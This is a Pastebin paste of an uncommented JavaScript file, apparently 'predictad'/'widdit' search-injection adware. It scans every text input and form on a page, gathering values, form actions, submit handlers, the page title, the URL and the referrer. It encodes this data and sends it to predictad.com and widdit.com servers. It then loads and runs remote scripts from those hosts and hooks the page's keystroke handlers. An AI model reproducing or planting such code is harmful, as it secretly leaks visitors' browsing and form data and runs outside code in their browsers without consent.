Advertisement
Guest User

smth

a guest
Aug 12th, 2012
166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. predictad_ac_off = false;
  2. predictad_srch_detect_lb = true;
  3. predictad_auto_inj_when_less_then_min_input = true;
  4. predictad_auto_inj_then_min_input = 4;
  5. predictad_detection_script_timeout = 20000;
  6. var predictad_already_tried_detect_url = new Array();
  7. var predictad_isIE = (navigator.userAgent.indexOf('MSIE') > 0);
  8. var predictad_onlyOnIE = false;
  9. var widdit_lb_servers_cnt = 7;
  10. var widdit_log_no_box = false;
  11. predictad_hasInputQ = false;
  12. predictad_inputs_count = 0;
  13. predictad_caller_obj = null;
  14. predictad_append_scripts = new Array();
  15. predictad_append_scripts_timeout = new Array();
  16. predictad_possibleDetectionsURLs = new Array();
  17. predictad_onErrorDetectingURLs = new Array();
  18. var predictad_src_id = 1;
  19. var predictad_detect_retry_attempts = 2;
  20. var predictad_detect_current_attempt = 1;
  21. var predictad_detect_complete = false;
  22. var predictad_detect_complete_num = 0;
  23. predictad_has_addon = true;
  24.  
  25. function predictad_warpOnKeyDown(f) {
  26.     var a = f.onkeydown;
  27.     f.onkeydown = function () {
  28.         if (predictad_caller_obj == null) predictad_caller_obj = this;
  29.         predictad_engage(1);
  30.         if (a && (typeof a == 'function')) a()
  31.     }
  32. }
  33. var predictDetectF = function () {
  34.     function PscriptParseQuery(a) {
  35.         if (!a) return false;
  36.         var b = a.split(/[;&]/);
  37.         var c = new Object();
  38.         for (var i = 0; i < b.length; i++) {
  39.             var d = b[i].split('=');
  40.             if (!d || d.length != 2) continue;
  41.             var e = unescape(d[0]);
  42.             var f = unescape(d[1]);
  43.             f = f.replace(/\+/g, ' ');
  44.             c[e] = f
  45.         }
  46.         return c
  47.     }
  48.     var s = /(predictad|suggestme|acpro|enable)[a-z0-9._-]*\.js(\?.*)+$/;
  49.     var t = document.getElementsByTagName('script');
  50.     var u = t.length - 1;
  51.     for (var v = 0; v < t.length; v++) {
  52.         if (t[v].src.match(s)) {
  53.             u = v;
  54.             break
  55.         }
  56.     }
  57.     var w = t[u];
  58.     var y = w.src.replace(/^[^\?]+(\?)*/, '');
  59.     var z = PscriptParseQuery(y);
  60.     var A = '4831';
  61.     var B = z['si'] || A;
  62.     var C = z['iid'] || '';
  63.     var D = z['tid'] || '';
  64.     if (typeof predictad_working_site == "undefined") {
  65.         predictad_working_site = B
  66.     }
  67.     predictad_iid = '';
  68.     if (C != '') {
  69.         predictad_iid += C
  70.     }
  71.     predictad_tid = '';
  72.     if (D != '') {
  73.         predictad_tid += D
  74.     }
  75.     function predictad_utf8encode(a) {
  76.         if ('string' != typeof a) return '';
  77.         a = a.replace(/\r\n/g, "\n");
  78.         var b = "";
  79.         for (var n = 0; n < a.length; n++) {
  80.             var c = a.charCodeAt(n);
  81.             if ('null' != typeof c) {
  82.                 if (c < 128) {
  83.                     b += String.fromCharCode(c)
  84.                 } else if ((c > 127) && (c < 2048)) {
  85.                     b += String.fromCharCode((c >> 6) | 192);
  86.                     b += String.fromCharCode((c & 63) | 128)
  87.                 } else {
  88.                     b += String.fromCharCode((c >> 12) | 224);
  89.                     b += String.fromCharCode(((c >> 6) & 63) | 128);
  90.                     b += String.fromCharCode((c & 63) | 128)
  91.                 }
  92.             }
  93.         }
  94.         return b
  95.     }
  96.     var E = function (a) {
  97.         var b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_*";
  98.         var c = "",
  99.             chr1, chr2, chr3, enc1, enc2, enc3, enc4, i = 0;
  100.         do {
  101.             chr1 = a.charCodeAt(i++);
  102.             chr2 = a.charCodeAt(i++);
  103.             chr3 = a.charCodeAt(i++);
  104.             enc1 = chr1 >> 2;
  105.             enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
  106.             enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
  107.             enc4 = chr3 & 63;
  108.             if (isNaN(chr2)) {
  109.                 enc3 = enc4 = 64
  110.             } else if (isNaN(chr3)) {
  111.                 enc4 = 64
  112.             }
  113.             c = c + b.charAt(enc1) + b.charAt(enc2) + b.charAt(enc3) + b.charAt(enc4)
  114.         } while (i < a.length);
  115.         return c
  116.     };
  117.     predictad_activate_detection = false;
  118.  
  119.     function predictad_detect_src() {
  120.         var a = document.getElementsByTagName('input');
  121.         if (a.length > 0) {
  122.             var b = '';
  123.             var c = '@';
  124.             var d = '@';
  125.             var e = '@';
  126.             var f = '@';
  127.             var g = '@';
  128.             for (var i = 0; i < a.length; i++) {
  129.                 if (a[i] == null) continue;
  130.                 var h = a[i].getAttribute('name');
  131.                 var j = a[i].getAttribute('id');
  132.                 var k = a[i].getAttribute('type');
  133.                 var l = a[i].className;
  134.                 var m = a[i].getAttribute('value');
  135.                 var n = a[i].getAttribute('title');
  136.                 var o = a[i].getAttribute('autocomplete');
  137.                 if (k == null || k == '') k = 'text';
  138.                 if (k == 'search') k = 'text';
  139.                 var p = k.toLowerCase();
  140.                 if (p != 'text') {
  141.                     continue
  142.                 }
  143.                 if (j == null) {
  144.                     j = 'acpro_inp' + i;
  145.                     a[i].setAttribute('id', j)
  146.                 }
  147.                 if (h == null) h = j;
  148.                 if (n == null) n = '';
  149.                 if (o == null) o = '';
  150.                 predictad_activate_detection = true;
  151.                 var q = h.toLowerCase();
  152.                 var r = j.toLowerCase();
  153.                 if (p == 'text') {
  154.                     if (q.indexOf("email") >= 0 || q.indexOf("username") >= 0 || q.indexOf("password") >= 0 || r.indexOf("email") >= 0 || r.indexOf("username") >= 0 || r.indexOf("password") >= 0) {
  155.                         continue
  156.                     }
  157.                     predictad_inputs_count++;
  158.                     predictad_warpOnKeyDown(a[i]);
  159.                     if (predictad_ac_off) {
  160.                         if (o == '') a[i].setAttribute('autocomplete', 'off')
  161.                     } else {
  162.                         if (o == '' && (j == "q" || h == "q")) {
  163.                             predictad_hasInputQ = true;
  164.                             a[i].setAttribute('autocomplete', 'off')
  165.                         }
  166.                     }
  167.                     b += j + '|';
  168.                     if (h == j) {
  169.                         h = ''
  170.                     }
  171.                     c += h + '|';
  172.                     d += l + '|';
  173.                     e += m + '|';
  174.                     f += n + '|';
  175.                     g += o + '|'
  176.                 }
  177.             }
  178.             return b + c + d + e + f + g
  179.         }
  180.         return ''
  181.     }
  182.     function predictad_detect_frm() {
  183.         var a = document.getElementsByTagName('form');
  184.         if (a.length > 0) {
  185.             var b = '';
  186.             var c = '@';
  187.             var d = '@';
  188.             var e = '@';
  189.             var f = '@';
  190.             for (var i = 0; i < a.length; i++) {
  191.                 if (a[i] == null) continue;
  192.                 var g = a[i].getAttribute('name');
  193.                 var h = a[i].getAttribute('id');
  194.                 var j = a[i].getAttribute('method');
  195.                 var k = a[i].getAttribute('action');
  196.                 var l = a[i].getAttribute('onsubmit');
  197.                 if (g == null) g = '';
  198.                 if (h == null) h = '';
  199.                 if (j == null) j = 'get';
  200.                 if (k == null) k = '';
  201.                 if (l == null) {
  202.                     l = ''
  203.                 } else {
  204.                     if (typeof l == 'function') {
  205.                         l = l.toString();
  206.                         l = l.replace('\n', '');
  207.                         l = l.replace('\r', '');
  208.                         l = l.replace('function anonymous(){', '');
  209.                         l = l.substring(0, l.length - 1);
  210.                         l = l.replace(/^\s+|\s+$/g, "")
  211.                     }
  212.                 }
  213.                 b += h + '|';
  214.                 c += g + '|';
  215.                 d += j + '|';
  216.                 e += k + '|';
  217.                 f += l + '|'
  218.             }
  219.             return b + c + d + e + f + e
  220.         }
  221.         return ''
  222.     }
  223.     function predictad_detect_cse() {
  224.         var a = '';
  225.         var b = document.getElementById('googleSearchUnitIframe');
  226.         a += ((b != null) ? '1' : '');
  227.         a += '|' + ((typeof window.googleSearchIframeName != "undefined") ? googleSearchIframeName : '');
  228.         a += '|' + ((typeof window.googleSearchFrameWidth != "undefined") ? googleSearchFrameWidth : '');
  229.         a += '|' + ((typeof window.googleSearchDomain != "undefined") ? googleSearchDomain : '');
  230.         return a
  231.     }
  232.     if (typeof suggestmeyes_loaded == 'undefined') {
  233.         var F = 3;
  234.         var G = z['sd'] || '';
  235.         F += "__" + G;
  236.         var H = '^';
  237.         var I = predictad_detect_src();
  238.         var J = predictad_detect_frm();
  239.         var K = predictad_detect_cse();
  240.         var L = false;
  241.         if (I == '@@@@@' || I == '') {
  242.             L = true;
  243.             predictad_inputs_count = -1
  244.         }
  245.         var M = '';
  246.         try {
  247.             M = (("https:" == document.location.protocol) ? document.location.toString() : "")
  248.         } catch (ex) {}
  249.         if (M != '') {
  250.             predictad_js = 'ssl';
  251.             predictad_inputs_count = -1
  252.         }
  253.         var N = document.referrer;
  254.         if (!N || N == "") {
  255.             N = ""
  256.         }
  257.         predictad_input_data = (E(predictad_utf8encode(F + H + predictad_working_site + H + I + H + document.title + H + predictad_iid + H + predictad_tid + H + J + H + K + H + M + H + N)));
  258.         if (predictad_input_data.length > 2000) {
  259.             predictad_input_data = (E(predictad_utf8encode(F + H + predictad_working_site + H + I + H + document.title + H + predictad_iid + H + predictad_tid + H + '' + H + K + H + '' + H + N)))
  260.         }
  261.         if (predictad_input_data.length > 2000) {
  262.             predictad_input_data = (E(predictad_utf8encode(F + H + predictad_working_site + H + I + H + document.title + H + predictad_iid + H + predictad_tid + H + '' + H + K + H + '' + H + '')))
  263.         }
  264.         if (predictad_auto_inj_when_less_then_min_input && predictad_inputs_count <= predictad_auto_inj_then_min_input) predictad_engage(0);
  265.         if (predictad_hasInputQ) predictad_engage(0);
  266.         if (widdit_log_no_box && L && M == '' && (typeof (predictad_prepare) == 'undefined')) {
  267.             predictad_prepare = true;
  268.             _ur = document.referrer;
  269.             if (!_ur || _ur == "") {
  270.                 _ur = "/"
  271.             }
  272.             if (document.images) {
  273.                 preload_image_object = new Image();
  274.                 var x = Math.random();
  275.                 var O = x * 1000000000000000000;
  276.                 var P = '1';
  277.                 var Q = '1';
  278.                 var R = 'http://www.nodocumentlocation.com';
  279.                 if (document.location != null) {
  280.                     try {
  281.                         R = document.location.toString()
  282.                     } catch (ex) {}
  283.                 }
  284.                 var S = '12';
  285.                 rand_no = Math.random();
  286.                 rand_no = rand_no;
  287.                 if (rand_no < 0.50) {
  288.                     S = '16'
  289.                 }
  290.                 image_url = new Array();
  291.                 image_url[0] = "http://srchdetect" + S + ".predictad.com:81/?" + E(predictad_utf8encode(escape(R) + "|" + escape(_ur) + "|" + Q + "|" + P));
  292.                 var i = 0;
  293.                 for (i = 0; i < image_url.length; i++) {
  294.                     preload_image_object.src = image_url[i]
  295.                 }
  296.             }
  297.         }
  298.     }
  299. }();
  300.  
  301. function convertPVersionString(a) {
  302.     var r = a.split('.');
  303.     return parseInt(r[0]) * 100000 + parseInt(r[1]) * 1000 + parseInt(r[2])
  304. }
  305. function predictad_engage(a) {
  306.     if (predictad_inputs_count <= 0) return;
  307.     if (typeof (suggestmeyes_loaded) != 'undefined') return;
  308.     if (window.top == window) {
  309.         if (typeof Prototype != 'undefined') {
  310.             try {
  311.                 REQ_PROTOTYPE = '1.4.0';
  312.                 if (convertPVersionString(Prototype.Version) < convertPVersionString(REQ_PROTOTYPE)) {
  313.                     return
  314.                 }
  315.             } catch (e) {}
  316.         }
  317.         if (typeof suggestmeyes_loaded == 'undefined') {
  318.             if (predictad_activate_detection) {
  319.                 predictad_dtc_subdomain = 'srchdetect';
  320.                 predictad_possibleDetectionsURLs = new Array();
  321.                 for (i = 0; i < widdit_lb_servers_cnt; i++) {
  322.                     var b = i + 1;
  323.                     predictad_possibleDetectionsURLs[i] = 'http://loading' + b + '.widdit.com/analyze/?' + predictad_input_data
  324.                 }
  325.                 predictad_onErrorDetectingURLs[0] = 'http://loading.retry.widdit.com/analyze/?' + predictad_input_data;
  326.                 if (typeof (predictad_js) == 'undefined' && typeof (predictad_ver) == 'undefined' && typeof (suggestmeyes_loaded) == 'undefined') {
  327.                     predictad_retry_loadjscssfile(predictad_possibleDetectionsURLs, 'js', 'head', predictad_detection_script_timeout);
  328.                     suggestmeyes_loaded = true
  329.                 }
  330.             }
  331.         }
  332.     }
  333. }
  334. function predictad_pick_detect_url(a) {
  335.     if (a.length == predictad_already_tried_detect_url.length) return a[0];
  336.     var b = '';
  337.     var c = 20;
  338.     var d = '';
  339.     var e = 0;
  340.     while (b == '' && e < c) {
  341.         rand_no = Math.floor(Math.random() * a.length);
  342.         d = a[rand_no];
  343.         if (predictad_already_tried_detect_url[d] == null) {
  344.             b = d;
  345.             predictad_already_tried_detect_url[d] = '1'
  346.         }
  347.         e++
  348.     }
  349.     if (e == c) {
  350.         b = a[0]
  351.     }
  352.     return b
  353. }
  354. function predictad_clearJSTimeout(a) {
  355.     if (predictad_append_scripts_timeout[a.src] != null) {
  356.         clearTimeout(predictad_append_scripts_timeout[a.src]);
  357.         predictad_append_scripts_timeout[a.src] = null
  358.     }
  359. }
  360. function predictad_removeScriptSinceTimeout(a) {
  361.     predictad_removejscssfile(a, "js");
  362.     if (predictad_detect_current_attempt < predictad_detect_retry_attempts) {
  363.         predictad_detect_current_attempt++;
  364.         predictad_retry_loadjscssfile(predictad_onErrorDetectingURLs, 'js', 'head', predictad_detection_script_timeout)
  365.     }
  366. }
  367. function predictad_removejscssfile(a, b) {
  368.     try {
  369.         var c = (b == "js") ? "script" : (b == "css") ? "link" : "none";
  370.         var d = (b == "js") ? "src" : (b == "css") ? "href" : "none";
  371.         var f = document.getElementsByTagName(c);
  372.         for (var i = f.length; i >= 0; i--) {
  373.             if (f[i] && f[i].getAttribute(d) != null && f[i].getAttribute(d).indexOf(a) != -1) {
  374.                 f[i].parentNode.removeChild(f[i])
  375.             }
  376.         }
  377.     } catch (e) {}
  378. }
  379. function predictad_retry_loadjscssfile(a, b, c, d) {
  380.     filename = predictad_pick_detect_url(a);
  381.     if (predictad_detect_current_attempt > predictad_detect_retry_attempts) return;
  382.     var e;
  383.     if (d == null) d = 0;
  384.     if (b == "js") {
  385.         var f = document.createElement("script");
  386.         f.setAttribute("type", "text/javascript");
  387.         f.setAttribute("id", 'detect' + predictad_src_id);
  388.         if (d != null && d > 0) {
  389.             f.onreadystatechange = function () {
  390.                 if (!predictad_detect_complete && (!this.readyState || this.readyState === 'complete' || (this.readyState === 'loaded' && this.nextSibling != null))) {
  391.                     predictad_clearJSTimeout(this);
  392.                     predictad_detect_complete = true;
  393.                     predictad_detect_complete_num++;
  394.                     this.onreadystatechange = null;
  395.                     this.onload == null
  396.                 } else if (this.readyState === 'loaded' && this.nextSibling == null) {
  397.                     if (typeof predictor != 'undefined' || typeof predictad_gb != 'undefined') {
  398.                         predictad_detect_complete = true;
  399.                         predictad_clearJSTimeout(this);
  400.                         return
  401.                     }
  402.                     predictad_clearJSTimeout(this);
  403.                     this.onreadystatechange = null;
  404.                     this.onload == null;
  405.                     predictad_clearJSTimeout(this);
  406.                     predictad_detect_current_attempt++;
  407.                     predictad_retry_loadjscssfile(predictad_onErrorDetectingURLs, b, c, d);
  408.                     return
  409.                 }
  410.             };
  411.             f.onload = function () {
  412.                 this.onreadystatechange = null;
  413.                 this.onload == null;
  414.                 predictad_detect_complete = true;
  415.                 predictad_detect_complete_num++;
  416.                 predictad_clearJSTimeout(this)
  417.             };
  418.             f.onerror = function () {
  419.                 this.onreadystatechange = null;
  420.                 this.onload == null;
  421.                 predictad_clearJSTimeout(this);
  422.                 predictad_detect_current_attempt++;
  423.                 predictad_retry_loadjscssfile(predictad_onErrorDetectingURLs, b, c, d);
  424.                 return
  425.             }
  426.         }
  427.         f.setAttribute("src", filename);
  428.         e = f
  429.     } else if (b == "css") {
  430.         var f = document.createElement("link");
  431.         f.setAttribute("rel", "stylesheet");
  432.         f.setAttribute("type", "text/css");
  433.         f.setAttribute("href", filename)
  434.     }
  435.     if (typeof f != "undefined") {
  436.         if (c == "head") {
  437.             document.getElementsByTagName("head")[0].appendChild(f)
  438.         } else {
  439.             document.getElementsByTagName("body")[0].appendChild(f)
  440.         }
  441.     }
  442.     if (d != null && d > 0 && b == "js" && predictad_detect_current_attempt < predictad_detect_retry_attempts) {
  443.         if ((predictad_onlyOnIE && predictad_isIE) || (!predictad_onlyOnIE)) {
  444.             predictad_append_scripts_timeout[e.src] = window.setTimeout('predictad_removeScriptSinceTimeout("' + e.src + '");', d)
  445.         }
  446.     }
  447. }
  448. function predictad_loadjscssfile(a, b, c) {
  449.     if (b == "js") {
  450.         var d = document.createElement("script");
  451.         d.setAttribute("type", "text/javascript");
  452.         d.setAttribute("onload", "");
  453.         d.setAttribute("onreadystatechange", "");
  454.         d.setAttribute("onerror", "");
  455.         d.setAttribute("src", a)
  456.     } else if (b == "css") {
  457.         var d = document.createElement("link");
  458.         d.setAttribute("rel", "stylesheet");
  459.         d.setAttribute("type", "text/css");
  460.         d.setAttribute("href", a)
  461.     }
  462.     if (typeof d != "undefined") {
  463.         if (c == "head") {
  464.             document.getElementsByTagName("head")[0].appendChild(d)
  465.         } else {
  466.             document.getElementsByTagName("body")[0].appendChild(d)
  467.         }
  468.     }
  469. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement